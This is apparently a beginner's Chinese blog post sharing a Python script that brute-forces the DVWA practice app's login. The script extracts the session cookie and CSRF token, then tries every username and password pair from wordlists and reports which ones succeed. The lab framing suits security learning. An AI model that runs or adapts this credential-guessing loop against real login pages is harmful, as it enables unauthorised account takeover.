自己的第一个小项目,简单的记录一下。
许多地方还不够完善,欢迎交流。
# 导入requests库用于发送HTTP请求
import requests
# 导入BeautifulSoup库用于解析HTML文档
from bs4 import BeautifulSoup
# 定义函数,用于获取登录页面的cookie和token值
def get_cookie_token(url_start, host):
# 设置请求头信息,包括Host、User-Agent等
headers = {
'Host': f'{host}',
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
'Accept-Lanuage': 'zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3',
'Connection': 'close',
'Upgrade-Insecure-Requests': '1'
}
# 发送GET请求到登录页面,并保存响应
res = requests.get(url_start, headers=headers)
# 从响应中提取cookie
cookies = res.cookies
# 解析HTML响应内容
html = res.text
soup = BeautifulSoup(html, "html.parser")
# 查找隐藏的input标签获取其value值作为token
s = soup.find('input', type='hidden').get('value')
# 获取form表单中指定元素的value作为另一个token
token = soup.form.contents[3]['value']
# 提取cookie中的PHPSESSID值
mm = cookies.items()
a = []
a.append(mm[0][1]) # 添加PHPSESSID到列表a
a.append(token) # 添加token到列表a
return a
# 定义函数,用于发送登录请求
def fasong(url, user, passwd, host):
# 设置登录请求的头部信息,包含Host、Referer等
headers = {
'Host': f'{host}',
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
'Accept-Lanuage': 'zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3',
'Accept-Encoding': 'gzip,deflate',
'Content-Type': 'application/x-www-form-urlencoded',
'Content-Length': '100',
'Connection': 'close',
'Referer': f'http://{host}/dvwa/login.php',
'Cookie': f'security=low; PHPSESSID={a[0]}', # 使用之前获取的PHPSESSID
'Upgrade-Insecure-Requests': '1'
}
# 构造登录所需的POST数据
data = {
"username": f"{user}",
"password": f"{passwd}",
"Login": "Login",
"user_token": a[1] # 使用之前获取的token
}
# 发送POST请求进行登录
res = requests.post(url=url, headers=headers, data=data)
# 定义函数,用于判断登录是否成功
def panduan(user, passwd, host):
# 设置请求头部信息,用于访问首页验证登录状态
header = {
'Host': f'{host}',
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
'Accept-Lanuage': 'zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3',
'Connection': 'close',
'Cookie': f'security=low; PHPSESSID={a[0]}', # 使用之前获取的PHPSESSID
'Upgrade-Insecure-Requests': '1'
}
# 访问首页并检查响应内容是否包含登录成功的提示
response = requests.get(f"http://{host}/dvwa/index.php", headers=header)
if '您已登录为' in response.text:
print('成功', end='')
print(f'user--{user}:pass--{passwd}')
else:
print('失败', end='')
print(f'user--{user}:pass--{passwd}')
# 定义函数,用于读取用户名文件
def user(path1):
file_path = path1 # 使用raw字符串格式化路径
lines_list = [] # 初始化用户名列表
try:
with open(file_path, 'r', encoding='utf-8') as file:
for line in file:
line = line.strip() # 去除前后空白字符
lines_list.append(line) # 将用户名添加到列表
except FileNotFoundError:
print(f"文件未找到,请检查路径是否正确:{file_path}")
except Exception as e:
print(f"读取文件时发生错误:{e}")
return lines_list
# 定义函数,用于读取密码文件
def passwd(path2):
file_path = path2 # 使用raw字符串格式化路径
lines_list = [] # 初始化密码列表
try:
with open(file_path, 'r', encoding='utf-8') as file:
for line in file:
line = line.strip() # 去除前后空白字符
lines_list.append(line) # 将密码添加到列表
except FileNotFoundError:
print(f"文件未找到,请检查路径是否正确:{file_path}")
except Exception as e:
print(f"读取文件时发生错误:{e}")
return lines_list
# 主程序开始
print('输入user字典路径:(不要含有“”)')
path1 = input()
print('输入passwd字典路径:(不要含有“”)')
path2 = input()
print('输入目标Host:')
host = input()
# 读取用户名和密码文件
username = user(path1)
password = passwd(path2)
# 遍历用户名和密码组合,尝试登录
for i in range(len(username)):
for n in range(len(password)):
url = f"http://{host}/dvwa/login.php"
# 获取cookie和token
a = get_cookie_token(url, host)
# 发送登录请求
fasong(url, username[i], password[n], host)
# 判断登录结果
panduan(username[i], password[n], host)